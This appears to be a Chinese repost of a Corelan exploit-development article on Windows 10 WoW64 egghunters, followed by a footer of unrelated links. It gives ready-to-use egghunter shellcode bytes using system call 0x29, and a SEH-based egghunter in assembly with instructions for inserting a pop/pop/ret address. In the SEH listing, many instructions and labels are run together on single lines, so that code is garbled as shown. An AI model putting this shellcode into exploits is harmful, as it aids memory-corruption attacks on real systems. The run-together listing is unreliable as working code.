当前位置: 首页 > news >正文

Windows 10 Wow64环境下的Egghunter技术解析

Windows 10 egghunter (wow64) and more

引言

我必须承认,我一直对egghunter技术很着迷。这并不意味着我喜欢滥用egghunter,事实上我认为应该尽量避免使用它,因为它会拖慢执行速度。真正让我着迷的是那些能在不使进程崩溃的情况下搜索内存的技术。

Corelan团队回来了!这是我近三年来的第一篇技术文章。最近我离开了日常工作,创立了"Corelan Consulting"公司,专注于漏洞利用开发和网络安全咨询。在更新Windows 10培训材料时,我发现Lincoln编写的Windows 7 wow64 egghunter在Windows 10上不再有效,因为微软在每个主要Windows版本中都会更改系统调用号。

Wow64环境下的Windows 10 Egghunter

我们找到了一些Windows 10 egghunter的PoC,但发现它们在真实漏洞利用中不可靠。Lincoln经过调试后,终于制作出了可在Windows 10上工作的版本:

"\x33\xD2"              # XOR EDX,EDX
"\x66\x81\xCA\xFF\x0F"  # OR DX,0FFF
"\x33\xDB"              # XOR EBX,EBX
"\x42"                  # INC EDX
"\x52"                  # PUSH EDX
"\x53"                  # PUSH EBX
"\x53"                  # PUSH EBX
"\x53"                  # PUSH EBX
"\x53"                  # PUSH EBX
"\x6A\x29"              # PUSH 29 (system call 0x29)
"\x58"                  # POP EAX
"\xB3\xC0"              # MOV BL,0C0
"\x64\xFF\x13"          # CALL DWORD PTR FS:[EBX]
"\x83\xC4\x10"          # ADD ESP,0x10
"\x5A"                  # POP EDX
"\x3C\x05"              # CMP AL,5
"\x74\xE3"              # JE SHORT
"\xB8\x77\x30\x30\x74"  # MOV EAX,74303077
"\x8B\xFA"              # MOV EDI,EDX
"\xAF"                  # SCAS DWORD PTR ES:[EDI]
"\x75\xDE"              # JNZ SHORT
"\xAF"                  # SCAS DWORD PTR ES:[EDI]
"\x75\xDB"              # JNZ SHORT
"\xFF\xE7"              # JMP EDI

这个egghunter假设运行在wow64环境(64位OS上的32位进程)下。你也可以添加架构检查使其在原生32位OS上工作。

基于异常处理的Egghunter

我思考是否可以不使用系统调用来实现egghunter。基于skape在2004年提出的原始想法,我开发了使用自定义异常处理程序的版本:

; Universal SEH based egg hunter (x86 and wow64)
[BITS 32]
CALL $+4
RET
POP ECX
ADD ECX,0x1d;set up SEH record
XOR EBX,EBX
PUSH ECX
PUSH ECX
PUSH 0x90c3585c
PUSH 0x44444444  ; Replace with P/P/R address
PUSH 0x04EB5858
MOV DWORD [FS:EBX],ESPJMP nextpagehandle:SUB ESP,0x14XOR EBX,EBXMOV DWORD [FS:EBX],ESPMOV EDX, [ESP+24]INC EDXnextpage:OR DX, 0x0FFFINC EDXMOV [ESP+24], EDXMOV EAX, 0x74303077MOV EDI, EDXSCASDJNZ nextpage+5SCASDJNZ nextpage+5JMP EDI

这个egghunter通过创建自定义SEH记录来处理访问违规异常。当尝试读取不可访问的页面时,异常处理程序会让egghunter继续执行。

使用说明

要使用这些egghunter,你需要:

  1. 对于系统调用版本:直接使用提供的shellcode
  2. 对于SEH版本:将\x44\x44\x44\x44替换为pop/pop/ret地址

调试时,建议配置调试器忽略访问违规异常(0xC0000005和0x80000001)。

总结

本文介绍了两种在Windows 10 wow64环境下工作的egghunter技术。系统调用版本更简洁,但SEH版本可能具有更好的兼容性。这两种技术都已在实际漏洞利用中测试通过。

如果你对这些技术有任何改进建议,欢迎通过Corelan的Slack工作区联系作者。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码

http://www.sczhlp.com/news/5574/

相关文章:

  • Project 2024超详细图文下载安装教程(附激活流程)2025最新整理保姆级安装教程
  • PandasAI连接LLM对MySQL数据库进行数据分析
  • 玄机蓝队靶场_应急响应_114:CobaltStrike流量分析
  • Python_Day02学习
  • python_Day03学习
  • C++神奇错误之 bool 与垃圾值
  • Spring Boot 2.6.0+ 循环依赖问题及解决方案
  • 括号字符串期望
  • python_day01学习
  • P13564「CZOI-R5」奶龙
  • C++数据结构-树状数组详解 - Saty
  • 软考系统分析师每日学习卡 | [日期:2025-08-04] | [今日主题:存储管理设备管理]
  • Python_Day03
  • Python_Day01
  • Python_Day02
  • 微信内 H5 页面视频无法播放未响应用户点击事件的解决方法
  • Python 使用 Dict 和 Set:从入门到进阶
  • frp搭建
  • gaccode就是个毒瘤,千万不在用!用了就阴魂不散!(附彻底清楚它的方法)
  • 二项式反演学习笔记
  • Believe me I can fly
  • 《高翔 视觉SLAM十四讲从理论到实践》所用库版本整理
  • 一位普通漏洞猎手的漏洞挖掘方法论
  • 详细介绍:设计模式-装饰器模式
  • AI agent UI copilotUI
  • 打印九九乘法表 - hml
  • LongRunningTask-正确用法
  • fastapi 日志配置
  • 每天阅读30分钟-阿里测试之道读书笔记(三)(四)
  • tomcat自动刷新响应输出流缓冲区